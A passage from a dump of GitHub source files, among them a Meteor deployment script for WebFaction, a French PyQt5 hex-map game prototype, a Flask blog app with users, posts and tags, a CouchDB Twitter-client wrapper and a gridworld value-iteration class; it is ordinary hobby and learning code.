os.linux.x86_64 --server %s' % (temp_folder, server['url'])\n ]\n print('Building application...')\n output = subprocess.check_output(\";\".join(cmds), shell=True)\n print(output.decode(encoding='utf-8'))\n\n# Connect to server and upload the app built\n\nprint('Connecting to the server...')\nconn = paramiko.SSHClient()\nconn.set_missing_host_key_policy(paramiko.AutoAddPolicy())\nconn.connect(server['remote'], username=server['user'], password=server['password'])\nprint('Connection established!')\nprint('Starting SFTP session...')\nsftp = conn.open_sftp()\nprint('SFTP session open!')\nsftp.chdir('webapps/%s' % server['app'])\nprint('Start uploading app archive...')\nsftp.put('%s/%s.tar.gz' % (temp_folder, local['app']), '%s.tar.gz' % local['app'])\nprint('Upload done!')\n\n# Unpack\n\nprint('Extracting archive files...')\ncmds = [\n 'cd ~/webapps/%s' % server['app'],\n 'rm -rf bundle',\n 'tar -zxf %s.tar.gz' % local['app'],\n 'rm %s.tar.gz' % local['app']\n]\nsi, so, se = conn.exec_command(';'.join(cmds))\nprint(''.join(so.readlines()))\nprint('Files extracted!')\n\n# Install dependencies\n\nprint('Installing dependencies...')\ncmds = [\n 'cd ~/webapps/%s/bundle/programs/server' % server['app'],\n 'PATH=~/webapps/%s/bin/:$PATH' % server['app'],\n 'npm install --silent'\n]\nsi, so, se = conn.exec_command(';'.join(cmds))\nprint(''.join(so.readlines()))\nprint('Dependencies installed!')\n\n# Generate and upload the startup file\n\nif not update:\n print('Generate startup file...')\n base = '/home/%s/webapps/%s' % (server['user'], server['app'])\n lines = [\n '#!/bin/sh',\n 'mkdir -p %s/run' % base,\n 'export MONGO_URL=%s' % db['mongodb'],\n 'export ROOT_URL=%s' % server['url'],\n 'export PORT=%s' % server['port'],\n 'pid=$(/sbin/pidof %s/bin/node)' % base,\n 'if echo \"$pid\" | grep -q \" \"; then',\n ' pid=\"\"',\n 'fi',\n 'if [ -n \"$pid\" ]; then',\n ' user=$(ps -p $pid -o user:20 | tail -n 1)',\n ' if [ $user = \"gionas\" ]; then',\n ' exit(0)',\n ' fi',\n 'fi',\n 'nohup %s/bin/node %s/bundle/main.js > /dev/null 2>&1 &' % (base, base),\n '/sbin/pidof %s/bin/node > %s/run/node.pid' % (base, base)\n ]\n file = open('%s/start' % temp_folder, 'w')\n file.write('\\n'.join(lines))\n print('Remove the current start file...')\n cmds = [\n 'cd ~/webapps/%s/bin' % server['app'],\n 'rm start'\n ]\n si, so, se = conn.exec_command(';'.join(cmds))\n if not se:\n print('Start file removed!')\n else:\n print(''.join(se.readlines()))\n exit(1)\n print('Uploading new start file...')\n sftp.chdir('webapps/%s/bin' % server['app'])\n sftp.put('%s/start' % temp_folder)\n print('Start file uploaded!')\n\n# Start the application (if everything worked out fine)\n\nprint('(re)Starting the app...')\ncmds = [\n '~/webapps/%s/bin/stop' % server['app'],\n '~/webapps/%s/bin/start' % server['app']\n]\nsi, so, se = conn.exec_command(';'.join(cmds))\nprint('Meteor application started')\n\nconn.close()\nprint('All done! Good bye!')\n","repo_name":"igio/webfaction-meteor","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"44899821399","text":"# Liste des classes (dans l'ordre) :\r\n# Tile\r\n# GraphVillage\r\n# GraphVille\r\n# GraphArmee\r\n# Scene\r\n# TableauCarte\r\n# TableauRessources\r\n# ViewerCarte\r\n# Fenetre\r\n\r\n\r\n# /!\\ 2 systemes de coordonnees, cubique (x, y, z) pour le programme et pixel (x, y) pour l'affichange\r\n\r\n\r\nimport sys\r\nfrom PyQt5 import QtCore\r\nfrom PyQt5.QtGui import QPixmap, QCursor, QBrush, QColor\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QGraphicsItem, QGraphicsScene, QGraphicsView, QGraphicsRectItem, QGraphicsProxyWidget, QPushButton\r\nimport mss # Pour la classe Fenetre de test\r\n\r\n\r\nclass Tile (QGraphicsItem):\r\n \"Classe permettant de créer une tuile\"\r\n\r\n def __init__(self, posX, posY, tuile, viewer):\r\n QGraphicsItem.__init__(self)\r\n\r\n self.tuile = tuile\r\n self.x = (posX - posY + 1) * 173 / 2 - 50 # Coordonnees cubique a coordonnees pixel\r\n self.y = -(posX + posY) * 150 + 50\r\n self.posX = posX # Coordonnees cubique (z = -(x + y))\r\n self.posY = posY\r\n self.viewer = viewer\r\n self.ressource = [] # Tableau reprennant toutes les ressources presentes sur la case (1 : fer; 2 : or; 3 : marbre; 4 : charbon; 5 : betail sauvage; 6 : chevaux sauvages; 7 : bois; 8 : pieree)\r\n\r\n def boundingRect(self):\r\n return QtCore.QRectF(self.x, self.y, 173, 200)\r\n\r\n def paint(self, painter, option, widget=None):\r\n self.painter = painter\r\n if(self.tuile is None):\r\n return None\r\n painter.drawPixmap(QtCore.QPointF(self.x, self.y), self.tuile)\r\n\r\n def moveBy(self, dx, dy):\r\n self.x = self.x + dx # Coordonnees pixel\r\n self.y = self.y + dy\r\n\r\n # Fonction pour recuperer un clic\r\n def mousePressEvent(self, event):\r\n print(\"clic en \", (self.posX, self.posY))\r\n typeTuile = self.viewer.quelTuile(self.tuile)\r\n print(\"Le type est : \" + str(typeTuile))\r\n print(\"Les ressources sont : \" + str(self.ressource))\r\n return None\r\n\r\n\r\nclass GraphVillage(Tile):\r\n \"Classe servant a representer un village sur la carte avec un QGraphicsItem\"\r\n\r\n def __init__(self, posX, posY, village, tuile, fenetre):\r\n self.x = posX\r\n self.y = posY\r\n Tile.__init__(self, self.x, self.y, tuile, fenetre.viewer)\r\n self.village = village\r\n self.fenetre = fenetre\r\n\r\n def mousePressEvent(self, mouseEvent):\r\n print(\"Appui village\")\r\n if(self.fenetre.joueurEnCour != self.village.ville.joueur):\r\n self.village.changerVille(self.fenetre.joueurEnCour.listeVilles[0])\r\n return None\r\n self.village.clic()\r\n\r\n\r\nclass GraphVille(Tile):\r\n \"Classe servant a representer une ville sur la carte\"\r\n\r\n def __init__(self, posX, posY, ville, tuile, fenetre):\r\n self.x = posX\r\n self.y = posY\r\n Tile.__init__(self, self.x, self.y, tuile, fenetre.viewer)\r\n self.ville = ville\r\n self.fenetre = fenetre\r\n\r\n def mousePressEvent(self, mouseEvent):\r\n print(\"Appui ville\")\r\n if(self.fenetre.joueurEnCour != self.ville.joueur):\r\n return None\r\n self.ville.clic()\r\n\r\n\r\nclass GraphArmee(QGraphicsRectItem):\r\n \"Classe servant a representer une armee sur la carte\"\r\n\r\n def __init__(self, posX, posY, armee, parent):\r\n QGraphicsItem.__init__(self, parent)\r\n self.x = (posX - posY + 1) * 173 / 2 - 50\r\n self.y = -(posX + posY) * 150 + 50\r\n self.armee = armee\r\n self.setRect(self.x, self.y, 100, 100)\r\n self.setBrush(QBrush(QColor(255, 255, 255)))\r\n\r\n def mousePressEvent(self, mouseEvent):\r\n print(\"Appui armee\")\r\n\r\n def boundingRect(self):\r\n return QtCore.QRectF(self.x, self.y, 100, 100)\r\n\r\n\r\nclass Scene(QGraphicsScene):\r\n \"Classe servant a creer une scene\"\r\n\r\n def __init__(self):\r\n QGraphicsScene.__init__(self)\r\n self.x = 0\r\n self.y = 0\r\n self.posX = 0\r\n self.posY = 0\r\n self.a = 1\r\n\r\n def mouseMoveEvent(self, event):\r\n if(event.buttons() & QtCore.Qt.LeftButton and self.a == 1):\r\n self.a = 0\r\n self.posX = event.scenePos().x()\r\n self.posY = event.scenePos().y()\r\n self.a = 2\r\n elif(event.buttons() & QtCore.Qt.LeftButton and self.a == 2):\r\n self.a = 0\r\n self.x = self.x + (self.posX - event.scenePos().x()) * 2\r\n self.y = self.y + (self.posY - event.scenePos().y()) * 2\r\n self.setSceneRect(self.x, self.y, 1, 1)\r\n self.a = 1\r\n else:\r\n self.a = 1\r\n return None\r\n\r\n\r\nclass TableauCarte():\r\n \"Classe servant a creer un tableau depuis un fichier passe en argument\"\r\n\r\n def __init__(self, fichier):\r\n with open(fichier, 'r') as fichier:\r\n self.structure = []\r\n numLigne = 0\r\n # On parcourt les lignes du fichier\r\n for ligne in fichier:\r\n ligneNiveau = []\r\n # On parcour les sprites des lignes\r\n numCase = 0\r\n case = \"\"\r\n for sprite in ligne:\r\n if sprite != '\\n' and sprite != ',':\r\n case = case + sprite\r\n elif sprite == ',':\r\n ligneNiveau.append(case)\r\n case = \"\"\r\n numCase = numCase + 1\r\n self.structure.append(ligneNiveau)\r\n numLigne = numLigne + 1\r\n self.largeur = max(len(self.structure[0]), len(self.structure[1]))\r\n self.hauteur = len(self.structure)\r\n\r\n\r\nclass TableauRessources():\r\n \"Classe servant a creer un tableau de ressource depuis un fichier passe en argument\"\r\n\r\n def __init__(self, fichier, nbLigne):\r\n with open(fichier, 'r') as fichier:\r\n self.structure = []\r\n numLigne = 0\r\n # On parcourt les lignes du fichier\r\n for ligne in fichier:\r\n ligneNiveau = []\r\n # On parcour les sprites des lignes\r\n numCase = 0\r\n case = \"\"\r\n for sprite in ligne:\r\n if sprite != '\\n' and sprite != ',':\r\n case = case + sprite\r\n elif sprite == ',':\r\n ligneNiveau.append(case)\r\n case = \"\"\r\n numCase = numCase + 1\r\n self.structure.append(ligneNiveau)\r\n numLigne = numLigne + 1\r\n if numLigne >= nbLigne:\r\n break\r\n self.largeur = max(len(self.structure[0]), len(self.structure[1]))\r\n self.hauteur = len(self.structure)\r\n\r\n\r\nclass ViewerCarte(QGraphicsView):\r\n \"Classe creant le viewer qui contient la map\"\r\n\r\n def __init__(self, _tableauCarte, _tableauRessource, _tileSet, parent=None):\r\n QGraphicsView.__init__(self, parent=parent)\r\n self.parent = parent\r\n self.parent.viewer = self\r\n self.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n self.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n global x\r\n global y\r\n global zoom1\r\n zoom1 = 1\r\n x = 0\r\n y = 0\r\n\r\n self.scene = Scene()\r\n self.tableauCarte = _tableauCarte.structure\r\n self.tableauRessource = _tableauRessource.structure\r\n\r\n self.curseur = QCursor()\r\n\r\n # On cree toutes les sprites\r\n self.tileSet = QPixmap(_tileSet)\r\n self.foret = self.tileSet.copy(0, 0, 173, 200)\r\n self.plaine = self.tileSet.copy(173, 0, 173, 200)\r\n self.champs = self.tileSet.copy(2 * 173, 0, 173, 200)\r\n self.mer = self.tileSet.copy(3 * 173, 0, 173, 200)\r\n self.montagnes = self.tileSet.copy(4 * 173, 0, 173, 200)\r\n self.neige = self.tileSet.copy(5 * 173, 0, 173, 200)\r\n self.plage = self.tileSet.copy(6 * 173, 0, 173, 200)\r\n self.ville = self.tileSet.copy(6 * 173, 200, 173, 200)\r\n self.village = self.tileSet.copy(6 * 173, 2 * 200, 173, 200)\r\n self.creationCarte()\r\n self.creationRessources()\r\n self.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n self.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n self.resize(self.parent.largeur, self.parent.hauteur)\r\n self.setScene(self.scene)\r\n\r\n # Sans les lignes ici, le deplacement de la carte bug, va savoir pourquoi :/ ... (autant en faire en estrer egg lol)\r\n self.proxy = QGraphicsProxyWidget()\r\n self.bouton = QPushButton(\"Ester Egg\")\r\n self.bouton.setGeometry(-10000, -10000, 200, 200)\r\n self.proxy.setWidget(self.bouton)\r\n self.scene.addItem(self.proxy)\r\n # Fin des lignes contre le bug intenpestif\r\n\r\n self.scene.setSceneRect(0, 0, 1, 1)\r\n\r\n def creationCarte(self):\r\n \"Methode pour creer la carte, cette methode ajoute des tuilles a la scene\"\r\n\r\n self.tableauTiles = self.tableauCarte\r\n z = 0 # = numero de la ligne (0 en haut)\r\n x, y = 0, 0\r\n for ligne in self.tableauCarte:\r\n numColone = 0\r\n if(z % 2 == 0):\r\n x = -z / 2\r\n y = -z / 2\r\n else:\r\n x = -z // 2 + 1\r\n y = -z // 2\r\n for sprite in ligne:\r\n if sprite == '1':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.foret, self)\r\n self.tableauTiles[z][numColone].ressource.append(7)\r\n elif sprite == '2':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.plaine, self)\r\n self.tableauTiles[z][numColone].ressource.append(8)\r\n elif sprite == '3':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.champs, self)\r\n elif sprite == '4':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.mer, self)\r\n elif sprite == '5':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.montagnes, self)\r\n self.tableauTiles[z][numColone].ressource.append(8)\r\n elif sprite == '6':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.neige, self)\r\n elif sprite == '7':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.plage, self)\r\n self.scene.addItem(self.tableauTiles[z][numColone])\r\n numColone += 1\r\n x += 1\r\n y -= 1\r\n z += 1\r\n\r\n def creationRessources(self):\r\n \"Methode pour donner des ressources aux tuiles\"\r\n\r\n a = 0\r\n for ligne in self.tableauRessource:\r\n b = 0\r\n for ress in ligne:\r\n if ress == '1':\r\n self.tableauTiles[a][b].ressource.append(1)\r\n elif ress == '2':\r\n self.tableauTiles[a][b].ressource.append(2)\r\n elif ress == '3':\r\n self.tableauTiles[a][b].ressource.append(3)\r\n elif ress == '4':\r\n self.tableauTiles[a][b].ressource.append(4)\r\n elif ress == '5':\r\n self.tableauTiles[a][b].ressource.append(5)\r\n elif ress == '6':\r\n self.tableauTiles[a][b].ressource.append(6)\r\n b += 1\r\n a += 1\r\n\r\n # Fonctions pour les zooms a la souris\r\n def wheelEvent(self, event):\r\n self.zoom(event.angleDelta().y() / 110.0)\r\n\r\n def zoom(self, facteur):\r\n if facteur < 0.0:\r\n facteur = -1.0 / facteur\r\n self.scale(facteur, facteur)\r\n\r\n # Fonctions pour interragir avec la carte\r\n def keyPressEvent(self, keyEvent):\r\n key = keyEvent.key()\r\n if key == QtCore.Qt.Key_Escape:\r\n if self.parent.menus is None:\r\n self.parent.quitter()\r\n else:\r\n if self.parent.boutons.ui.wMenus.isHidden():\r\n self.parent.boutons.ui.wMenus.show()\r\n self.parent.boutons.ui.wMenus.setFocus()\r\n elif key == QtCore.Qt.Key_A:\r\n if self.parent.menus is None:\r\n return None\r\n self.parent.boutons.testVilles()\r\n self.parent.boutons.ui.wVilles.afficheCV()\r\n elif key == QtCore.Qt.Key_B:\r\n self.changer(0, 0, self.montagnes)\r\n elif key == QtCore.Qt.Key_C:\r\n self.changer(0, 0, self.mer)\r\n elif key == QtCore.Qt.Key_Z:\r\n self.zoom(2)\r\n else:\r\n print(key)\r\n\r\n def quelTuile(self, tuile):\r\n \"Methode pour savoir quel est le type de tuile\"\r\n if(tuile == self.foret):\r\n return 1\r\n elif(tuile == self.plaine):\r\n return 2\r\n elif(tuile == self.champs):\r\n return 3\r\n elif(tuile == self.mer):\r\n return 4\r\n elif(tuile == self.montagnes):\r\n return 5\r\n elif(tuile == self.neige):\r\n return 6\r\n elif(tuile == self.plage):\r\n return 7\r\n return -1\r\n\r\n def changer(self, x, y, tuile): # a modifier pour que ca marche autre part qu'en (0, 0)\r\n \"Methode pour changer la case du tile\"\r\n self.scene.removeItem(self.tableauTiles[x][y])\r\n self.tableauTiles[x][y] = Tile(x, y, tuile, self)\r\n self.scene.addItem(self.tableauTiles[x][y])\r\n self.scene.update()\r\n\r\n def addVillage(self, x, y, village):\r\n \"Methode pour ajouter un village en position x,y\"\r\n self.scene.addItem(GraphVillage(x, y, village, self.village, self.parent))\r\n # self.scene.addItem(GraphArmee(x + 1, y + 2, None, None))\r\n\r\n def addVille(self, ville):\r\n \"Methode pour ajouter une ville en position x, y\"\r\n self.scene.addItem(GraphVille(ville.x, ville.y, ville, self.ville, self.parent))\r\n\r\n\r\nclass Fenetre (QMainWindow):\r\n \"Classe pour la creation d'une fenetre (classe de tests)\"\r\n\r\n def __init__(self, parent=None):\r\n super(Fenetre, self).__init__(parent=parent)\r\n mon = mss.mss().monitors[1]\r\n self.app = app\r\n self.hauteur = mon[\"height\"]\r\n self.largeur = mon[\"width\"]\r\n self.menus = None\r\n self.setWindowTitle(\"Prototype\")\r\n\r\n def quitter(self):\r\n \"Pour quitter vers le bureau\"\r\n\r\n sys.exit(self.app.exec_())\r\n\r\n\r\n# Premier affichage de la map avec pyQt5\r\n# C'est ainsi qu'il doit etre appele dans un autre fichier\r\n# Besoin de rien d'autre que lui-meme\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n fenetre = Fenetre()\r\n tableauCarte = TableauCarte(\"Prototype2.txt\")\r\n viewer = ViewerCarte(tableauCarte, \"tileset V1.png\", fenetre)\r\n fenetre.showFullScreen()\r\n sys.exit(app.exec_())\r\n","repo_name":"ahennecart/Jeu","sub_path":"Prototype/Affichage_de_la_map.py","file_name":"Affichage_de_la_map.py","file_ext":"py","file_size_in_byte":14792,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39210202397","text":"import pexpect\nimport sys\n\ndef test_simple_command( command, expected_output = None, expected_status = 0):\n child = pexpect.spawn(command)\n child.logfile = sys.stdout\n if expected_output is not None:\n for o in expected_output:\n child.expect(o)\n child.expect(pexpect.EOF)\n child.close()\n if child.exitstatus != expected_status:\n sys.exit( child.exitstatus)\n return child.exitstatus\n\ndef create_eyedb_database( dbname):\n # test if database exists\n dblist = \"eyedbadmin2 database list %s\" % (dbname,)\n child = pexpect.spawn( dblist)\n dblistmsg = \"Database '%s' not found\" % (dbname,)\n r = child.expect([dblistmsg, pexpect.EOF])\n # if it exists, delete it\n if r == 1:\n dbdelete = \"eyedbadmin2 database delete %s\" % (dbname,)\n (command_output, exitstatus) = pexpect.run (dbdelete, withexitstatus=1)\n if exitstatus != 0:\n sys.exit(exitstatus)\n # create the database\n dbcreate = \"eyedbadmin2 database create %s\" % (dbname,)\n (command_output, exitstatus) = pexpect.run (dbcreate, withexitstatus=1)\n if exitstatus != 0:\n sys.exit(exitstatus)\n","repo_name":"eyedb/eyedb","sub_path":"tests/eyedb/admin/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"25798007563","text":"#! python3\n# customInvitations.py - The program extracts names from a text file and for each name \n# makes a custom invitations for an event in MS Word. Each invitation takes up one page in MS Word.\n#\n# NOTES: Run this program in the same location as the other two required files. Those files are:\n# 1. A text file called 'guests.txt' which contains names to be used in the invitation. One name per line.\n# 2. A Word document with custom styles 'party', 'party_name' and 'party_date' created. \n# The program can't create new styles and must load them from an exsiting Word document.\n# The result will be saved in the same location as the program, in a file called 'invitations.docx'.\n\nimport docx\n\ndoc = docx.Document('invite_template.docx')\ndoc._body.clear_content() # Clear all content from the Word doc. We just need the styles from it.\n\n# Read the names from the txt file and save them into a list.\nf = open('guests.txt')\nnames = f.readlines()\nnames = [name.rstrip() for name in names] # Strip the newline character from each name.\nf.close()\n\n# Add content and styles to the Word doc.\nfor name in names:\n doc.add_paragraph('It would be a pleasure to have the company of')\n doc.paragraphs[-1].style = 'party'\n doc.add_paragraph(name)\n doc.paragraphs[-1].style = 'party_name'\n doc.add_paragraph('at 11010 Memory Lane on the Evening of')\n doc.paragraphs[-1].style = 'party'\n doc.add_paragraph('April 1st')\n doc.paragraphs[-1].style = 'party_date'\n doc.add_paragraph('at 7 o\\'clock')\n doc.paragraphs[-1].style = 'party'\n \n # Add a pagebreak at the end of each invite.\n if names.index(name) != len(names) - 1:\n doc.paragraphs[-1].runs[-1].add_break(docx.enum.text.WD_BREAK.PAGE)\n\ndoc.save('invites.docx')","repo_name":"aojrzynski/automate-the-boring-stuff-with-python-projects","sub_path":"ch15-pdf-and-msword/customInvitations.py","file_name":"customInvitations.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6135385405","text":"\"\"\"...............................GarbageValue..........................///\n///.............Noakhali Science and Technology University..............///\n///.......Department of Information and Communication Engineering.......\"\"\"\nfrom array import *\ndef reverseList(A,start,end):\n\twhile start')\ndef show_user(user_id):\n \"\"\"Displays user details\"\"\"\n user = User.query.get_or_404(user_id)\n \n return render_template('details.html', user=user)\n\n@app.route('/users//edit')\ndef show_edit_user(user_id):\n \"\"\"Shows the edit details form to fill out\"\"\"\n user=User.query.get_or_404(user_id)\n return render_template('edit_details.html', user=user)\n\n@app.route('/users//edit', methods=['POST'])\ndef edit_user(user_id):\n \"\"\"Submits updates to user to the db and redirects back to the user details page\"\"\"\n \n user = User.query.get(user_id)\n user.first_name = request.form['First Name']\n user.last_name = request.form['Last Name']\n user.image_url = request.form['Image URL'] or None\n \n db.session.commit()\n \n return redirect(f\"/users/{user.id}\")\n\n@app.route('/users//delete')\ndef delete_user(user_id):\n \"\"\"Delete a user\"\"\"\n user = User.query.get_or_404(user_id)\n db.session.delete(user)\n db.session.commit()\n return redirect('/users')\n\n\n@app.route('/posts/')\ndef show_post(post_id):\n \"\"\"Displays a user's post\"\"\"\n post = Post.query.get_or_404(post_id)\n return render_template('post_details.html', post=post)\n\n@app.route('/users//posts/new')\ndef create_post_form(user_id):\n \"\"\"Displays the New User form to fill out\"\"\"\n user = User.query.get_or_404(user_id)\n tags = Tag.query.all()\n return render_template('new_post.html', user=user, tags=tags)\n\n@app.route('/users//posts/new', methods=['POST'])\ndef create_post(user_id):\n \"\"\"Submits form data to db, creates new user, and redirects back to users page\"\"\"\n user = User.query.get_or_404(user_id)\n title = request.form['Title']\n content = request.form['Content']\n \n tags_id = [int(num) for num in request.form.getlist('Tags')]\n tags = Tag.query.filter(Tag.id.in_(tags_id)).all() \n \n new_post = Post(title=title, content=content, user=user, tags=tags)\n db.session.add(new_post)\n db.session.commit()\n \n return redirect(f'/users/{user_id}')\n\n@app.route('/posts//edit')\ndef show_edit_post(post_id):\n \"\"\"Shows the edit details form to fill out\"\"\"\n post = Post.query.get_or_404(post_id)\n tags = Tag.query.all()\n return render_template('edit_post.html', post=post, tags=tags)\n\n@app.route('/posts//edit', methods=['POST'])\ndef edit_post(post_id):\n \"\"\"Submits updates to user to the db and redirects back to the user details page\"\"\"\n \n post = Post.query.get_or_404(post_id)\n post.title = request.form['Title']\n post.content = request.form['Content']\n \n tags_id = [int(num) for num in request.form.getlist('Tags')]\n tags = Tag.query.filter(Tag.id.in_(tags_id)).all()\n post.tags = tags if len(tags_id) > 0 else []\n \n db.session.add(post)\n db.session.commit()\n \n return redirect(f\"/posts/{post.id}\")\n\n@app.route('/posts//delete')\ndef delete_post(post_id):\n \"\"\"Delete a user\"\"\"\n post = Post.query.get_or_404(post_id)\n db.session.delete(post)\n db.session.commit()\n return redirect(f'/users/{post.user_id}')\n\n\n@app.route('/tags')\ndef list_tags():\n \"\"\"Generates a list of all tags\"\"\"\n tags = Tag.query.all()\n return render_template('tags.html', tags=tags)\n\n@app.route('/tags/')\ndef show_tag(tag_id):\n \"\"\"Shows details on a soecific tag\"\"\"\n tag = Tag.query.get_or_404(tag_id)\n # posts = Post.query.filter_by(tag_id=tag_id).all()\n \n return render_template('tag_details.html', tag=tag)\n\n@app.route('/tags/new')\ndef create_tag_form():\n \"\"\"Displays the new tag form to fill out\"\"\"\n tags = Tag.query.all()\n return render_template('new_tag.html', tags=tags)\n\n@app.route('/tags/new', methods=['POST'])\ndef create_tag():\n \"\"\"Submits form data to db, creates new tag, and redirects back to tag page\"\"\"\n name = request.form['Name']\n \n post_ids = [int(num) for num in request.form.getlist('Posts')]\n posts = Post.query.filter(Post.id.in_(post_ids)).all()\n \n new_tag = Tag(name=name, posts=posts)\n db.session.add(new_tag)\n db.session.commit()\n \n return redirect('/tags')\n \n@app.route('/tags//edit')\ndef show_edit_tag(tag_id):\n \"\"\"Shows the edit details form to fill out\"\"\"\n tag = Tag.query.get_or_404(tag_id)\n posts = Post.query.all()\n return render_template('edit_tag.html', tag=tag, posts=posts)\n\n@app.route('/tags//edit', methods=['POST'])\ndef edit_tag(tag_id):\n \"\"\"Submits updates to tags to the db and redirects back to the tag details page \"\"\"\n tag = Tag.query.get_or_404(tag_id)\n tag.name = request.form['Name']\n post_ids = [int(num) for num in request.form.getlist('Posts')]\n tag.posts = Post.query.filter(Post.id.in_(post_ids)).all()\n \n db.session.add(tag)\n db.session.commit()\n \n return redirect(f'/tags/{tag.id}')\n\n@app.route('/tags//delete')\ndef delete_tag(tag_id):\n \"\"\"Delete a tag\"\"\"\n tag = Tag.query.get_or_404(tag_id)\n db.session.delete(tag)\n db.session.commit()\n return redirect(f'/tags')\n","repo_name":"jasonscotch/blogly","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72829458053","text":"#!/usr/bin/env python\n\nimport zlib, json, os\nfrom util import tweet_text, now_tweettime, couch_fields\nimport couchdb\n\nclass DBWrapper(object):\n def __init__(self, app_path, screen_name, srvuri, dbname):\n self.srvuri, self.dbname = srvuri, dbname\n self.reconnect()\n js = open(os.path.join(app_path, 'undulatus.js')).read()\n revision = json.loads(js)[\"revision\"]\n try:\n design = self.db['_design/undulatus']\n db_revision = None\n try:\n db_revision = design['revision']\n except KeyError:\n pass\n if db_revision != revision:\n print('Note: updating javascript design document')\n del self.db['_design/undulatus']\n self.reconnect() # work around python couchdb bug\n self.db['_design/undulatus'] = js\n except couchdb.http.ResourceNotFound:\n self.db['_design/undulatus'] = js\n\n def reconnect(self):\n srv = couchdb.Server(self.srvuri)\n try:\n self.db = srv.create(self.dbname)\n except couchdb.http.PreconditionFailed:\n self.db = srv[self.dbname]\n\n def info(self):\n return self.db.info()\n \n def setloc(self, lat, lng):\n try:\n doc = self.db['latlng']\n except couchdb.http.ResourceNotFound:\n doc = {}\n doc['lat'] = lat\n doc['long'] = lng\n self.db['latlng'] = doc\n\n def clearloc(self):\n try:\n del self.db['latlng']\n except couchdb.http.ResourceNotFound:\n pass\n\n def getloc(self):\n try:\n doc = self.db['latlng']\n except couchdb.http.ResourceNotFound:\n doc = {}\n return doc.get('lat'), doc.get('long')\n \n def saved_searches(self):\n try:\n doc = self.db['saved_searches']\n except couchdb.http.ResourceNotFound:\n doc = None\n if not doc or \"searches\" not in doc:\n return []\n return doc['searches']\n\n def save_saved_searches(self, searches):\n try:\n doc = self.db['saved_searches']\n except couchdb.http.ResourceNotFound:\n doc = {}\n doc['searches'] = searches\n self.db['saved_searches'] = doc\n return doc\n\n def configuration(self):\n try:\n doc = self.db['help_configuration']\n return doc\n except couchdb.http.ResourceNotFound:\n return None\n\n def save_configuration(self, new_config):\n try:\n doc = self.db['help_configuration']\n except couchdb.http.ResourceNotFound:\n doc = {}\n doc['configuration'] = new_config\n doc['updated'] = now_tweettime()\n self.db['help_configuration'] = doc\n return doc\n\n def tokens(self):\n try:\n doc = self.db['oauth_tokens']\n return doc, doc['token'], doc['secret']\n except couchdb.http.ResourceNotFound:\n return {}, None, None\n\n def add_tokens(self, base_doc, oauth_token, oauth_token_secret):\n from copy import copy\n doc = copy(base_doc)\n doc['token'] = oauth_token\n doc['secret'] = oauth_token_secret\n self.db['oauth_tokens'] = doc\n\n def get_by_status_id(self, status_id):\n try:\n return self.db[str(status_id)]\n except couchdb.http.ResourceNotFound:\n return None\n\n def get_replies_to_status_id(self, status_id):\n return [ self.get_by_status_id(row.id) for row in self.db.view('undulatus/replies')[status_id] ]\n\n # will probably break when twitter hits 63 bit status IDs..\n def get_recent(self, n):\n rv = [ self.get_by_status_id(row.id) for row in self.db.view('undulatus/byid', limit=n, descending=True) ]\n rv.reverse()\n return rv\n\n def savedoc(self, name, doc):\n self.db[name] = doc\n\n def make(self, tweet):\n k = str(tweet['id_str'])\n doc = self.get_by_status_id(k)\n if doc is None or 'undulatus_from_search' in doc:\n if doc is not None:\n tweet.update(couch_fields(doc))\n self.db[k] = tweet\n\n","repo_name":"grahame/undulatus","sub_path":"tweetdb.py","file_name":"tweetdb.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"75008099972","text":"import numpy as np\n\nclass Grid:\n def __init__(self, width, heigth, discount = 0.9):\n self.width = width\n self.heigth = heigth\n self.x_pos = 0\n self.y_pos = 0\n self.values = np.zeros((heigth, width))\n self.discount = discount\n self.vertex_sources = []\n self.vertex_dests = []\n self.vertex_values = []\n \n def init_rewards(self, rewards):\n assert rewards.shape[0] == self.heigth and rewards.shape[1]==self.width, \"reward initialized is not valid\"\n self.rewards = rewards\n \n def add_vertex(self, source, dest):\n assert len(source) == 2 and len(dest) == 2, \"source or dest is not valid\"\n self.vertex_sources.append(source)\n self.vertex_dests.append(dest)\n\n def update(self):\n next_values = np.zeros((self.heigth, self.width))\n for x in range(self.width):\n for y in range(self.heigth):\n if [y, x] in self.vertex_sources:\n for vertex_source, vertex_dest in zip(self.vertex_sources, self.vertex_dests):\n if [y, x] == vertex_source:\n next_values[y, x] += self.rewards[y,x] + self.discount*self.values[vertex_dest[0], vertex_dest[1]]\n break\n else:\n for cur_movement, cur_prob in zip([[-1, 0], [0, 1], [1, 0], [0, -1]], [0.25, 0.25, 0.25, 0.25]):\n next_place = [y+cur_movement[0], x+cur_movement[1]]\n if 0<=next_place[0] 0.5:\n movement_x = 1\n if np.random.rand()>0.5:\n movement_y = 1\n if [self.x_pos, self.y_pos] in self.vertex_sources:\n for vertex_source, vertex_dest in zip(self.vertex_sources, self.vertex_dests):\n if vertex_source == [self.x_pos, self.y_pos]:\n 